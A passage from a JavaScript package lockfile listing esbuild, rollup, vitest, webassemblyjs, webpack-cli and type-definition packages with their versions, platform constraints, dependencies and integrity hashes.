"@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.21.5", "", { "os": "freebsd", "cpu": "x64" }, "sha512-J95kNBj1zkbMXtHVH29bBriQygMXqoVQOQYA+ISs0/2l3T9/kj42ow2mpqerRBxDJnmkUDCaQT/dfNXWX/ZZCQ=="],
|
||||
|
||||
"@esbuild/linux-arm": ["@esbuild/linux-arm@0.21.5", "", { "os": "linux", "cpu": "arm" }, "sha512-bPb5AHZtbeNGjCKVZ9UGqGwo8EUu4cLq68E95A53KlxAPRmUyYv2D6F0uUI65XisGOL1hBP5mTronbgo+0bFcA=="],
|
||||
|
||||
"@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.21.5", "", { "os": "linux", "cpu": "arm64" }, "sha512-ibKvmyYzKsBeX8d8I7MH/TMfWDXBF3db4qM6sy+7re0YXya+K1cem3on9XgdT2EQGMu4hQyZhan7TeQ8XkGp4Q=="],
|
||||
|
||||
"@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.21.5", "", { "os": "linux", "cpu": "ia32" }, "sha512-YvjXDqLRqPDl2dvRODYmmhz4rPeVKYvppfGYKSNGdyZkA01046pLWyRKKI3ax8fbJoK5QbxblURkwK/MWY18Tg=="],
|
||||
|
||||
"@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.21.5", "", { "os": "linux", "cpu": "none" }, "sha512-uHf1BmMG8qEvzdrzAqg2SIG/02+4/DHB6a9Kbya0XDvwDEKCoC8ZRWI5JJvNdUjtciBGFQ5PuBlpEOXQj+JQSg=="],
|
||||
|
||||
"@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.21.5", "", { "os": "linux", "cpu": "none" }, "sha512-IajOmO+KJK23bj52dFSNCMsz1QP1DqM6cwLUv3W1QwyxkyIWecfafnI555fvSGqEKwjMXVLokcV5ygHW5b3Jbg=="],
|
||||
|
||||
"@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.21.5", "", { "os": "linux", "cpu": "ppc64" }, "sha512-1hHV/Z4OEfMwpLO8rp7CvlhBDnjsC3CttJXIhBi+5Aj5r+MBvy4egg7wCbe//hSsT+RvDAG7s81tAvpL2XAE4w=="],
|
||||
|
||||
"@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.21.5", "", { "os": "linux", "cpu": "none" }, "sha512-2HdXDMd9GMgTGrPWnJzP2ALSokE/0O5HhTUvWIbD3YdjME8JwvSCnNGBnTThKGEB91OZhzrJ4qIIxk/SBmyDDA=="],
|
||||
|
||||
"@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.21.5", "", { "os": "linux", "cpu": "s390x" }, "sha512-zus5sxzqBJD3eXxwvjN1yQkRepANgxE9lgOW2qLnmr8ikMTphkjgXu1HR01K4FJg8h1kEEDAqDcZQtbrRnB41A=="],
|
||||
|
||||
"@esbuild/linux-x64": ["@esbuild/linux-x64@0.21.5", "", { "os": "linux", "cpu": "x64" }, "sha512-1rYdTpyv03iycF1+BhzrzQJCdOuAOtaqHTWJZCWvijKD2N5Xu0TtVC8/+1faWqcP9iBCWOmjmhoH94dH82BxPQ=="],
|
||||
|
||||
"@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.21.5", "", { "os": "none", "cpu": "x64" }, "sha512-Woi2MXzXjMULccIwMnLciyZH4nCIMpWQAs049KEeMvOcNADVxo0UBIQPfSmxB3CWKedngg7sWZdLvLczpe0tLg=="],
|
||||
|
||||
"@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.21.5", "", { "os": "openbsd", "cpu": "x64" }, "sha512-HLNNw99xsvx12lFBUwoT8EVCsSvRNDVxNpjZ7bPn947b8gJPzeHWyNVhFsaerc0n3TsbOINvRP2byTZ5LKezow=="],
|
||||
|
||||
"@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.21.5", "", { "os": "sunos", "cpu": "x64" }, "sha512-6+gjmFpfy0BHU5Tpptkuh8+uw3mnrvgs+dSPQXQOv3ekbordwnzTVEb4qnIvQcYXq6gzkyTnoZ9dZG+D4garKg=="],
|
||||
|
||||
"@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.21.5", "", { "os": "win32", "cpu": "arm64" }, "sha512-Z0gOTd75VvXqyq7nsl93zwahcTROgqvuAcYDUr+vOv8uHhNSKROyU961kgtCD1e95IqPKSQKH7tBTslnS3tA8A=="],
|
||||
|
||||
"@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.21.5", "", { "os": "win32", "cpu": "ia32" }, "sha512-SWXFF1CL2RVNMaVs+BBClwtfZSvDgtL//G/smwAc5oVK/UPu2Gu9tIaRgFmYFFKrmg3SyAjSrElf0TiJ1v8fYA=="],
|
||||
|
||||
"@esbuild/win32-x64": ["@esbuild/win32-x64@0.21.5", "", { "os": "win32", "cpu": "x64" }, "sha512-tQd/1efJuzPC6rCFwEvLtci/xNFcTZknmXs98FYDfGE4wP9ClFV98nyKrzJKVPMhdDnjzLhdUyMX4PsQAPjwIw=="],
|
||||
|
||||
"@jridgewell/gen-mapping": ["@jridgewell/gen-mapping@0.3.13", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA=="],
|
||||
|
||||
"@jridgewell/resolve-uri": ["@jridgewell/resolve-uri@3.1.2", "", {}, "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw=="],
|
||||
|
||||
"@jridgewell/source-map": ["@jridgewell/source-map@0.3.11", "", { "dependencies": { "@jridgewell/gen-mapping": "^0.3.5", "@jridgewell/trace-mapping": "^0.3.25" } }, "sha512-ZMp1V8ZFcPG5dIWnQLr3NSI1MiCU7UETdS/A0G8V/XWHvJv3ZsFqutJn1Y5RPmAPX6F3BiE397OqveU/9NCuIA=="],
|
||||
|
||||
"@jridgewell/sourcemap-codec": ["@jridgewell/sourcemap-codec@1.5.5", "", {}, "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og=="],
|
||||
|
||||
"@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
|
||||
|
||||
"@nodelib/fs.scandir": ["@nodelib/fs.scandir@2.1.5", "", { "dependencies": { "@nodelib/fs.stat": "2.0.5", "run-parallel": "^1.1.9" } }, "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g=="],
|
||||
|
||||
"@nodelib/fs.stat": ["@nodelib/fs.stat@2.0.5", "", {}, "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A=="],
|
||||
|
||||
"@nodelib/fs.walk": ["@nodelib/fs.walk@1.2.8", "", { "dependencies": { "@nodelib/fs.scandir": "2.1.5", "fastq": "^1.6.0" } }, "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg=="],
|
||||
|
||||
"@rollup/rollup-android-arm-eabi": ["@rollup/rollup-android-arm-eabi@4.60.2", "", { "os": "android", "cpu": "arm" }, "sha512-dnlp69efPPg6Uaw2dVqzWRfAWRnYVb1XJ8CyyhIbZeaq4CA5/mLeZ1IEt9QqQxmbdvagjLIm2ZL8BxXv5lH4Yw=="],
|
||||
|
||||
"@rollup/rollup-android-arm64": ["@rollup/rollup-android-arm64@4.60.2", "", { "os": "android", "cpu": "arm64" }, "sha512-OqZTwDRDchGRHHm/hwLOL7uVPB9aUvI0am/eQuWMNyFHf5PSEQmyEeYYheA0EPPKUO/l0uigCp+iaTjoLjVoHg=="],
|
||||
|
||||
"@rollup/rollup-darwin-arm64": ["@rollup/rollup-darwin-arm64@4.60.2", "", { "os": "darwin", "cpu": "arm64" }, "sha512-UwRE7CGpvSVEQS8gUMBe1uADWjNnVgP3Iusyda1nSRwNDCsRjnGc7w6El6WLQsXmZTbLZx9cecegumcitNfpmA=="],
|
||||
|
||||
"@rollup/rollup-darwin-x64": ["@rollup/rollup-darwin-x64@4.60.2", "", { "os": "darwin", "cpu": "x64" }, "sha512-gjEtURKLCC5VXm1I+2i1u9OhxFsKAQJKTVB8WvDAHF+oZlq0GTVFOlTlO1q3AlCTE/DF32c16ESvfgqR7343/g=="],
|
||||
|
||||
"@rollup/rollup-freebsd-arm64": ["@rollup/rollup-freebsd-arm64@4.60.2", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-Bcl6CYDeAgE70cqZaMojOi/eK63h5Me97ZqAQoh77VPjMysA/4ORQBRGo3rRy45x4MzVlU9uZxs8Uwy7ZaKnBw=="],
|
||||
|
||||
"@rollup/rollup-freebsd-x64": ["@rollup/rollup-freebsd-x64@4.60.2", "", { "os": "freebsd", "cpu": "x64" }, "sha512-LU+TPda3mAE2QB0/Hp5VyeKJivpC6+tlOXd1VMoXV/YFMvk/MNk5iXeBfB4MQGRWyOYVJ01625vjkr0Az98OJQ=="],
|
||||
|
||||
"@rollup/rollup-linux-arm-gnueabihf": ["@rollup/rollup-linux-arm-gnueabihf@4.60.2", "", { "os": "linux", "cpu": "arm" }, "sha512-2QxQrM+KQ7DAW4o22j+XZ6RKdxjLD7BOWTP0Bv0tmjdyhXSsr2Ul1oJDQqh9Zf5qOwTuTc7Ek83mOFaKnodPjg=="],
|
||||
|
||||
"@rollup/rollup-linux-arm-musleabihf": ["@rollup/rollup-linux-arm-musleabihf@4.60.2", "", { "os": "linux", "cpu": "arm" }, "sha512-TbziEu2DVsTEOPif2mKWkMeDMLoYjx95oESa9fkQQK7r/Orta0gnkcDpzwufEcAO2BLBsD7mZkXGFqEdMRRwfw=="],
|
||||
|
||||
"@rollup/rollup-linux-arm64-gnu": ["@rollup/rollup-linux-arm64-gnu@4.60.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-bO/rVDiDUuM2YfuCUwZ1t1cP+/yqjqz+Xf2VtkdppefuOFS2OSeAfgafaHNkFn0t02hEyXngZkxtGqXcXwO8Rg=="],
|
||||
|
||||
"@rollup/rollup-linux-arm64-musl": ["@rollup/rollup-linux-arm64-musl@4.60.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-hr26p7e93Rl0Za+JwW7EAnwAvKkehh12BU1Llm9Ykiibg4uIr2rbpxG9WCf56GuvidlTG9KiiQT/TXT1yAWxTA=="],
|
||||
|
||||
"@rollup/rollup-linux-loong64-gnu": ["@rollup/rollup-linux-loong64-gnu@4.60.2", "", { "os": "linux", "cpu": "none" }, "sha512-pOjB/uSIyDt+ow3k/RcLvUAOGpysT2phDn7TTUB3n75SlIgZzM6NKAqlErPhoFU+npgY3/n+2HYIQVbF70P9/A=="],
|
||||
|
||||
"@rollup/rollup-linux-loong64-musl": ["@rollup/rollup-linux-loong64-musl@4.60.2", "", { "os": "linux", "cpu": "none" }, "sha512-2/w+q8jszv9Ww1c+6uJT3OwqhdmGP2/4T17cu8WuwyUuuaCDDJ2ojdyYwZzCxx0GcsZBhzi3HmH+J5pZNXnd+Q=="],
|
||||
|
||||
"@rollup/rollup-linux-ppc64-gnu": ["@rollup/rollup-linux-ppc64-gnu@4.60.2", "", { "os": "linux", "cpu": "ppc64" }, "sha512-11+aL5vKheYgczxtPVVRhdptAM2H7fcDR5Gw4/bTcteuZBlH4oP9f5s9zYO9aGZvoGeBpqXI/9TZZihZ609wKw=="],
|
||||
|
||||
"@rollup/rollup-linux-ppc64-musl": ["@rollup/rollup-linux-ppc64-musl@4.60.2", "", { "os": "linux", "cpu": "ppc64" }, "sha512-i16fokAGK46IVZuV8LIIwMdtqhin9hfYkCh8pf8iC3QU3LpwL+1FSFGej+O7l3E/AoknL6Dclh2oTdnRMpTzFQ=="],
|
||||
|
||||
"@rollup/rollup-linux-riscv64-gnu": ["@rollup/rollup-linux-riscv64-gnu@4.60.2", "", { "os": "linux", "cpu": "none" }, "sha512-49FkKS6RGQoriDSK/6E2GkAsAuU5kETFCh7pG4yD/ylj9rKhTmO3elsnmBvRD4PgJPds5W2PkhC82aVwmUcJ7A=="],
|
||||
|
||||
"@rollup/rollup-linux-riscv64-musl": ["@rollup/rollup-linux-riscv64-musl@4.60.2", "", { "os": "linux", "cpu": "none" }, "sha512-mjYNkHPfGpUR00DuM1ZZIgs64Hpf4bWcz9Z41+4Q+pgDx73UwWdAYyf6EG/lRFldmdHHzgrYyge5akFUW0D3mQ=="],
|
||||
|
||||
"@rollup/rollup-linux-s390x-gnu": ["@rollup/rollup-linux-s390x-gnu@4.60.2", "", { "os": "linux", "cpu": "s390x" }, "sha512-ALyvJz965BQk8E9Al/JDKKDLH2kfKFLTGMlgkAbbYtZuJt9LU8DW3ZoDMCtQpXAltZxwBHevXz5u+gf0yA0YoA=="],
|
||||
|
||||
"@rollup/rollup-linux-x64-gnu": ["@rollup/rollup-linux-x64-gnu@4.60.2", "", { "os": "linux", "cpu": "x64" }, "sha512-UQjrkIdWrKI626Du8lCQ6MJp/6V1LAo2bOK9OTu4mSn8GGXIkPXk/Vsp4bLHCd9Z9Iz2OTEaokUE90VweJgIYQ=="],
|
||||
|
||||
"@rollup/rollup-linux-x64-musl": ["@rollup/rollup-linux-x64-musl@4.60.2", "", { "os": "linux", "cpu": "x64" }, "sha512-bTsRGj6VlSdn/XD4CGyzMnzaBs9bsRxy79eTqTCBsA8TMIEky7qg48aPkvJvFe1HyzQ5oMZdg7AnVlWQSKLTnw=="],
|
||||
|
||||
"@rollup/rollup-openbsd-x64": ["@rollup/rollup-openbsd-x64@4.60.2", "", { "os": "openbsd", "cpu": "x64" }, "sha512-6d4Z3534xitaA1FcMWP7mQPq5zGwBmGbhphh2DwaA1aNIXUu3KTOfwrWpbwI4/Gr0uANo7NTtaykFyO2hPuFLg=="],
|
||||
|
||||
"@rollup/rollup-openharmony-arm64": ["@rollup/rollup-openharmony-arm64@4.60.2", "", { "os": "none", "cpu": "arm64" }, "sha512-NetAg5iO2uN7eB8zE5qrZ3CSil+7IJt4WDFLcC75Ymywq1VZVD6qJ6EvNLjZ3rEm6gB7XW5JdT60c6MN35Z85Q=="],
|
||||
|
||||
"@rollup/rollup-win32-arm64-msvc": ["@rollup/rollup-win32-arm64-msvc@4.60.2", "", { "os": "win32", "cpu": "arm64" }, "sha512-NCYhOotpgWZ5kdxCZsv6Iudx0wX8980Q/oW4pNFNihpBKsDbEA1zpkfxJGC0yugsUuyDZ7gL37dbzwhR0VI7pQ=="],
|
||||
|
||||
"@rollup/rollup-win32-ia32-msvc": ["@rollup/rollup-win32-ia32-msvc@4.60.2", "", { "os": "win32", "cpu": "ia32" }, "sha512-RXsaOqXxfoUBQoOgvmmijVxJnW2IGB0eoMO7F8FAjaj0UTywUO/luSqimWBJn04WNgUkeNhh7fs7pESXajWmkg=="],
|
||||
|
||||
"@rollup/rollup-win32-x64-gnu": ["@rollup/rollup-win32-x64-gnu@4.60.2", "", { "os": "win32", "cpu": "x64" }, "sha512-qdAzEULD+/hzObedtmV6iBpdL5TIbKVztGiK7O3/KYSf+HIzU257+MX1EXJcyIiDbMAqmbwaufcYPvyRryeZtA=="],
|
||||
|
||||
"@rollup/rollup-win32-x64-msvc": ["@rollup/rollup-win32-x64-msvc@4.60.2", "", { "os": "win32", "cpu": "x64" }, "sha512-Nd/SgG27WoA9e+/TdK74KnHz852TLa94ovOYySo/yMPuTmpckK/jIF2jSwS3g7ELSKXK13/cVdmg1Z/DaCWKxA=="],
|
||||
|
||||
"@sindresorhus/merge-streams": ["@sindresorhus/merge-streams@2.3.0", "", {}, "sha512-LtoMMhxAlorcGhmFYI+LhPgbPZCkgP6ra1YL604EeF6U98pLlQ3iWIGMdWSC+vWmPBWBNgmDBAhnAobLROJmwg=="],
|
||||
|
||||
"@types/chrome": ["@types/chrome@0.1.40", "", { "dependencies": { "@types/filesystem": "*", "@types/har-format": "*" } }, "sha512-UnfyRAe8ORu9HSuTH0EqyOEUin3JrWW9Nl/gDXezNfTUrfIoxw+WRZgKOxGz0t5BnjbfXBnS2eCYfW2PxH1wcA=="],
|
||||
|
||||
"@types/eslint": ["@types/eslint@9.6.1", "", { "dependencies": { "@types/estree": "*", "@types/json-schema": "*" } }, "sha512-FXx2pKgId/WyYo2jXw63kk7/+TY7u7AziEJxJAnSFzHlqTAS3Ync6SvgYAN/k4/PQpnnVuzoMuVnByKK2qp0ag=="],
|
||||
|
||||
"@types/eslint-scope": ["@types/eslint-scope@3.7.7", "", { "dependencies": { "@types/eslint": "*", "@types/estree": "*" } }, "sha512-MzMFlSLBqNF2gcHWO0G1vP/YQyfvrxZ0bF+u7mzUdZ1/xK4A4sru+nraZz5i3iEIk1l1uyicaDVTB4QbbEkAYg=="],
|
||||
|
||||
"@types/estree": ["@types/estree@1.0.8", "", {}, "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w=="],
|
||||
|
||||
"@types/filesystem": ["@types/filesystem@0.0.36", "", { "dependencies": { "@types/filewriter": "*" } }, "sha512-vPDXOZuannb9FZdxgHnqSwAG/jvdGM8Wq+6N4D/d80z+D4HWH+bItqsZaVRQykAn6WEVeEkLm2oQigyHtgb0RA=="],
|
||||
|
||||
"@types/filewriter": ["@types/filewriter@0.0.33", "", {}, "sha512-xFU8ZXTw4gd358lb2jw25nxY9QAgqn2+bKKjKOYfNCzN4DKCFetK7sPtrlpg66Ywe3vWY9FNxprZawAh9wfJ3g=="],
|
||||
|
||||
"@types/har-format": ["@types/har-format@1.2.16", "", {}, "sha512-fluxdy7ryD3MV6h8pTfTYpy/xQzCFC7m89nOH9y94cNqJ1mDIDPut7MnRHI3F6qRmh/cT2fUjG1MLdCNb4hE9A=="],
|
||||
|
||||
"@types/json-schema": ["@types/json-schema@7.0.15", "", {}, "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA=="],
|
||||
|
||||
"@types/node": ["@types/node@25.6.0", "", { "dependencies": { "undici-types": "~7.19.0" } }, "sha512-+qIYRKdNYJwY3vRCZMdJbPLJAtGjQBudzZzdzwQYkEPQd+PJGixUL5QfvCLDaULoLv+RhT3LDkwEfKaAkgSmNQ=="],
|
||||
|
||||
"@vitest/expect": ["@vitest/expect@2.1.9", "", { "dependencies": { "@vitest/spy": "2.1.9", "@vitest/utils": "2.1.9", "chai": "^5.1.2", "tinyrainbow": "^1.2.0" } }, "sha512-UJCIkTBenHeKT1TTlKMJWy1laZewsRIzYighyYiJKZreqtdxSos/S1t+ktRMQWu2CKqaarrkeszJx1cgC5tGZw=="],
|
||||
|
||||
"@vitest/mocker": ["@vitest/mocker@2.1.9", "", { "dependencies": { "@vitest/spy": "2.1.9", "estree-walker": "^3.0.3", "magic-string": "^0.30.12" }, "peerDependencies": { "msw": "^2.4.9", "vite": "^5.0.0" }, "optionalPeers": ["msw", "vite"] }, "sha512-tVL6uJgoUdi6icpxmdrn5YNo3g3Dxv+IHJBr0GXHaEdTcw3F+cPKnsXFhli6nO+f/6SDKPHEK1UN+k+TQv0Ehg=="],
|
||||
|
||||
"@vitest/pretty-format": ["@vitest/pretty-format@2.1.9", "", { "dependencies": { "tinyrainbow": "^1.2.0" } }, "sha512-KhRIdGV2U9HOUzxfiHmY8IFHTdqtOhIzCpd8WRdJiE7D/HUcZVD0EgQCVjm+Q9gkUXWgBvMmTtZgIG48wq7sOQ=="],
|
||||
|
||||
"@vitest/runner": ["@vitest/runner@2.1.9", "", { "dependencies": { "@vitest/utils": "2.1.9", "pathe": "^1.1.2" } }, "sha512-ZXSSqTFIrzduD63btIfEyOmNcBmQvgOVsPNPe0jYtESiXkhd8u2erDLnMxmGrDCwHCCHE7hxwRDCT3pt0esT4g=="],
|
||||
|
||||
"@vitest/snapshot": ["@vitest/snapshot@2.1.9", "", { "dependencies": { "@vitest/pretty-format": "2.1.9", "magic-string": "^0.30.12", "pathe": "^1.1.2" } }, "sha512-oBO82rEjsxLNJincVhLhaxxZdEtV0EFHMK5Kmx5sJ6H9L183dHECjiefOAdnqpIgT5eZwT04PoggUnW88vOBNQ=="],
|
||||
|
||||
"@vitest/spy": ["@vitest/spy@2.1.9", "", { "dependencies": { "tinyspy": "^3.0.2" } }, "sha512-E1B35FwzXXTs9FHNK6bDszs7mtydNi5MIfUWpceJ8Xbfb1gBMscAnwLbEu+B44ed6W3XjL9/ehLPHR1fkf1KLQ=="],
|
||||
|
||||
"@vitest/utils": ["@vitest/utils@2.1.9", "", { "dependencies": { "@vitest/pretty-format": "2.1.9", "loupe": "^3.1.2", "tinyrainbow": "^1.2.0" } }, "sha512-v0psaMSkNJ3A2NMrUEHFRzJtDPFn+/VWZ5WxImB21T9fjucJRmS7xCS3ppEnARb9y11OAzaD+P2Ps+b+BGX5iQ=="],
|
||||
|
||||
"@webassemblyjs/ast": ["@webassemblyjs/ast@1.14.1", "", { "dependencies": { "@webassemblyjs/helper-numbers": "1.13.2", "@webassemblyjs/helper-wasm-bytecode": "1.13.2" } }, "sha512-nuBEDgQfm1ccRp/8bCQrx1frohyufl4JlbMMZ4P1wpeOfDhF6FQkxZJ1b/e+PLwr6X1Nhw6OLme5usuBWYBvuQ=="],
|
||||
|
||||
"@webassemblyjs/floating-point-hex-parser": ["@webassemblyjs/floating-point-hex-parser@1.13.2", "", {}, "sha512-6oXyTOzbKxGH4steLbLNOu71Oj+C8Lg34n6CqRvqfS2O71BxY6ByfMDRhBytzknj9yGUPVJ1qIKhRlAwO1AovA=="],
|
||||
|
||||
"@webassemblyjs/helper-api-error": ["@webassemblyjs/helper-api-error@1.13.2", "", {}, "sha512-U56GMYxy4ZQCbDZd6JuvvNV/WFildOjsaWD3Tzzvmw/mas3cXzRJPMjP83JqEsgSbyrmaGjBfDtV7KDXV9UzFQ=="],
|
||||
|
||||
"@webassemblyjs/helper-buffer": ["@webassemblyjs/helper-buffer@1.14.1", "", {}, "sha512-jyH7wtcHiKssDtFPRB+iQdxlDf96m0E39yb0k5uJVhFGleZFoNw1c4aeIcVUPPbXUVJ94wwnMOAqUHyzoEPVMA=="],
|
||||
|
||||
"@webassemblyjs/helper-numbers": ["@webassemblyjs/helper-numbers@1.13.2", "", { "dependencies": { "@webassemblyjs/floating-point-hex-parser": "1.13.2", "@webassemblyjs/helper-api-error": "1.13.2", "@xtuc/long": "4.2.2" } }, "sha512-FE8aCmS5Q6eQYcV3gI35O4J789wlQA+7JrqTTpJqn5emA4U2hvwJmvFRC0HODS+3Ye6WioDklgd6scJ3+PLnEA=="],
|
||||
|
||||
"@webassemblyjs/helper-wasm-bytecode": ["@webassemblyjs/helper-wasm-bytecode@1.13.2", "", {}, "sha512-3QbLKy93F0EAIXLh0ogEVR6rOubA9AoZ+WRYhNbFyuB70j3dRdwH9g+qXhLAO0kiYGlg3TxDV+I4rQTr/YNXkA=="],
|
||||
|
||||
"@webassemblyjs/helper-wasm-section": ["@webassemblyjs/helper-wasm-section@1.14.1", "", { "dependencies": { "@webassemblyjs/ast": "1.14.1", "@webassemblyjs/helper-buffer": "1.14.1", "@webassemblyjs/helper-wasm-bytecode": "1.13.2", "@webassemblyjs/wasm-gen": "1.14.1" } }, "sha512-ds5mXEqTJ6oxRoqjhWDU83OgzAYjwsCV8Lo/N+oRsNDmx/ZDpqalmrtgOMkHwxsG0iI//3BwWAErYRHtgn0dZw=="],
|
||||
|
||||
"@webassemblyjs/ieee754": ["@webassemblyjs/ieee754@1.13.2", "", { "dependencies": { "@xtuc/ieee754": "^1.2.0" } }, "sha512-4LtOzh58S/5lX4ITKxnAK2USuNEvpdVV9AlgGQb8rJDHaLeHciwG4zlGr0j/SNWlr7x3vO1lDEsuePvtcDNCkw=="],
|
||||
|
||||
"@webassemblyjs/leb128": ["@webassemblyjs/leb128@1.13.2", "", { "dependencies": { "@xtuc/long": "4.2.2" } }, "sha512-Lde1oNoIdzVzdkNEAWZ1dZ5orIbff80YPdHx20mrHwHrVNNTjNr8E3xz9BdpcGqRQbAEa+fkrCb+fRFTl/6sQw=="],
|
||||
|
||||
"@webassemblyjs/utf8": ["@webassemblyjs/utf8@1.13.2", "", {}, "sha512-3NQWGjKTASY1xV5m7Hr0iPeXD9+RDobLll3T9d2AO+g3my8xy5peVyjSag4I50mR1bBSN/Ct12lo+R9tJk0NZQ=="],
|
||||
|
||||
"@webassemblyjs/wasm-edit": ["@webassemblyjs/wasm-edit@1.14.1", "", { "dependencies": { "@webassemblyjs/ast": "1.14.1", "@webassemblyjs/helper-buffer": "1.14.1", "@webassemblyjs/helper-wasm-bytecode": "1.13.2", "@webassemblyjs/helper-wasm-section": "1.14.1", "@webassemblyjs/wasm-gen": "1.14.1", "@webassemblyjs/wasm-opt": "1.14.1", "@webassemblyjs/wasm-parser": "1.14.1", "@webassemblyjs/wast-printer": "1.14.1" } }, "sha512-RNJUIQH/J8iA/1NzlE4N7KtyZNHi3w7at7hDjvRNm5rcUXa00z1vRz3glZoULfJ5mpvYhLybmVcwcjGrC1pRrQ=="],
|
||||
|
||||
"@webassemblyjs/wasm-gen": ["@webassemblyjs/wasm-gen@1.14.1", "", { "dependencies": { "@webassemblyjs/ast": "1.14.1", "@webassemblyjs/helper-wasm-bytecode": "1.13.2", "@webassemblyjs/ieee754": "1.13.2", "@webassemblyjs/leb128": "1.13.2", "@webassemblyjs/utf8": "1.13.2" } }, "sha512-AmomSIjP8ZbfGQhumkNvgC33AY7qtMCXnN6bL2u2Js4gVCg8fp735aEiMSBbDR7UQIj90n4wKAFUSEd0QN2Ukg=="],
|
||||
|
||||
"@webassemblyjs/wasm-opt": ["@webassemblyjs/wasm-opt@1.14.1", "", { "dependencies": { "@webassemblyjs/ast": "1.14.1", "@webassemblyjs/helper-buffer": "1.14.1", "@webassemblyjs/wasm-gen": "1.14.1", "@webassemblyjs/wasm-parser": "1.14.1" } }, "sha512-PTcKLUNvBqnY2U6E5bdOQcSM+oVP/PmrDY9NzowJjislEjwP/C4an2303MCVS2Mg9d3AJpIGdUFIQQWbPds0Sw=="],
|
||||
|
||||
"@webassemblyjs/wasm-parser": ["@webassemblyjs/wasm-parser@1.14.1", "", { "dependencies": { "@webassemblyjs/ast": "1.14.1", "@webassemblyjs/helper-api-error": "1.13.2", "@webassemblyjs/helper-wasm-bytecode": "1.13.2", "@webassemblyjs/ieee754": "1.13.2", "@webassemblyjs/leb128": "1.13.2", "@webassemblyjs/utf8": "1.13.2" } }, "sha512-JLBl+KZ0R5qB7mCnud/yyX08jWFw5MsoalJ1pQ4EdFlgj9VdXKGuENGsiCIjegI1W7p91rUlcB/LB5yRJKNTcQ=="],
|
||||
|
||||
"@webassemblyjs/wast-printer": ["@webassemblyjs/wast-printer@1.14.1", "", { "dependencies": { "@webassemblyjs/ast": "1.14.1", "@xtuc/long": "4.2.2" } }, "sha512-kPSSXE6De1XOR820C90RIo2ogvZG+c3KiHzqUoO/F34Y2shGzesfqv7o57xrxovZJH/MetF5UjroJ/R/3isoiw=="],
|
||||
|
||||
"@webpack-cli/configtest": ["@webpack-cli/configtest@2.1.1", "", { "peerDependencies": { "webpack": "5.x.x", "webpack-cli": "5.x.x" } }, "sha512-wy0mglZpDSiSS0XHrVR+BAdId2+yxPSoJW8fsna3ZpYSlufjvxnP4YbKTCBZnNIcGN4r6ZPXV55X4mYExOfLmw=="],
|
||||
|
||||
"@webpack-cli/info": ["@webpack-cli/info@2.0.2", "", { "peerDependencies": { "webpack": "5.x.x", "webpack-cli": "5.x.x" } }, "sha512-zLHQdI/Qs1UyT5UBdWNqsARasIA+AaF8t+4u2aS2nEpBQh2mWIVb8qAklq0eUENnC5mOItrIB4LiS9xMtph18A=="],
|
||||
|
||||
"@webpack-cli/serve": ["@webpack-cli/serve@2.0.5", "", { "peerDependencies": { "webpack": "5.x.x", "webpack-cli": "5.x.x" } }, "sha512-lqaoKnRYBdo1UgDX8uF24AfGMifWK19TxPmM5FHc2vAGxrJ/qtyUyFBWoY1tISZdelsQ5fBcOusifo5o5wSJxQ=="],
|
||||
|
||||
"@xtuc/ieee754": ["@xtuc/ieee754@1.2.0", "", {}, "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA=="],
|
||||
|
||||
"@xtuc/long": ["@xtuc/long@4.2.2", "", {}, "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ=="],
|
||||
|
||||
"acorn": ["acorn@8.16.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw=="],
|
||||
|
||||
